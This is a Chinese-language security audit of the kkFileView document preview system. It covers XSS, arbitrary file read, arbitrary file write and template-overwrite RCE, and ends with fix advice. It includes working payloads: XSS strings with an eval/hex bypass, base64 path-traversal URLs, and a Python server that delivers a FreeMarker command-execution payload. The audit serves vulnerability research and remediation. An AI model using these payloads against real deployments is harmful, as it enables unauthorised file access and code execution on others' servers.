一次对在线文档预览的JAVA代码审计
字数 1304 2025-08-06 18:08:09
在线文档预览系统Java代码审计与漏洞分析
系统概述
kkFileView是一个开源的在线文档预览系统,仓库地址:
- GitHub: https://github.com/kekingcn/kkFileView
- Gitee: https://gitee.com/kekingcn/file-online-preview
漏洞分析
1. XSS注入漏洞
漏洞位置
- 类:
cn.keking.web.filter.AttributeSetFilter - 方法:
setWatermarkAttribute - 模板文件:
src/main/resources/web/commonHeader.ftl
漏洞详情
多个参数未进行XSS过滤,参数在commonHeader.ftl模板中被使用,该模板被多个模板文件引用,包括picture.ftl。
复现方法
访问路径:
/picturesPreview?urls=aHR0cDovLzE=&watermarkXSpace=1});}}alert(1);function a(){function b(){return ({//
修复过程
- 初始修复方案存在问题,仅过滤了
{}字符 - 绕过方法:使用eval()和ES6反引号,配合16进制编码
eval(`\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29`) - 建议修复方案:
- 用引号包裹输出值
- 对数值型参数使用parseInt/Float()强制转换
parseInt("${watermarkXSpace}") - 官方最终修复:在Java端限制参数必须为数值
2. 任意文件读取漏洞
漏洞位置
- 接口:
/onlinePreview - 类:
cn.keking.web.controller.OnlinePreviewController#onlinePreview - 方法:
FileHandlerService#getFileAttribute
漏洞详情
- 未授权接口接收base64编码的url参数
- 解析url参数中的fullfilename作为文件名(文件名本身也存在XSS漏洞)
CodeFilePreviewImpl、XmlFilePreviewImpl、MarkdownFilePreviewImpl调用SimTextFilePreviewImpl处理SimTextFilePreviewImpl#filePreviewHandle通过textData读取文件内容
复现方法
/onlinePreview?url=aHR0cDovMSEvP2Z1bGxmaWxlbmFtZT0uLi8uLi8uLi8uLi9wb20ueG1s
3. 文件写入漏洞
新版分析
- 类:
SimTextFilePreviewImpl#filePreviewHandle - 方法:
DownloadUtils#downLoad - 条件: 本地不存在该文件才会触发下载
旧版分析(2021年12月17日前)
- 无跳过下载逻辑
- 可导致任意文件写入
复现方法
- 搭建恶意服务器(Python示例):
from http.server import HTTPServer, BaseHTTPRequestHandler
host = ('0.0.0.0', 8888)
class CustomizeHttpServer(BaseHTTPRequestHandler):
def do_POST(self):
self.do_GET()
def do_GET(self):
self.wfile.write(b'<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}')
if __name__ == '__main__':
server = HTTPServer(host, CustomizeHttpServer)
print("Starting server, listen at: %s:%s" % host)
server.serve_forever()
- 发起攻击:
/onlinePreview?url=aHR0cDovLzEyNy4wLjAuMTo4ODg4P2Z1bGxmaWxlbmFtZT1hLnhtbA==
4. 覆盖模板文件RCE(假想)
利用条件
- 使用war方式部署或直接运行的项目
- 可覆盖模板文件
攻击步骤
- 修改服务器返回恶意代码:
self.wfile.write(b'<#assign value="freemarker.template.utility.Execute"?new()>${value("calc")}')
- 利用目录穿越覆盖文件:
/onlinePreview?url=aHR0cDovLzEyNy4wLjAuMTo4ODg4P2Z1bGxmaWxlbmFtZT0uLi8uLi8uLi90YXJnZXQvY2xhc3Nlcy93ZWIvaW5kZXguZnRs
- 再次访问造成RCE
修复建议总结
- 对所有用户输入进行严格的过滤和验证
- 对文件路径进行规范化处理,防止目录遍历
- 限制文件下载功能,避免任意文件写入
- 对模板文件进行权限控制,防止被覆盖
- 对敏感接口实施访问控制
免责声明
本文仅用于技术讨论与研究,文中的实现方法切勿应用在任何违法场景。如因涉嫌违法造成的一切不良影响,本文作者概不负责。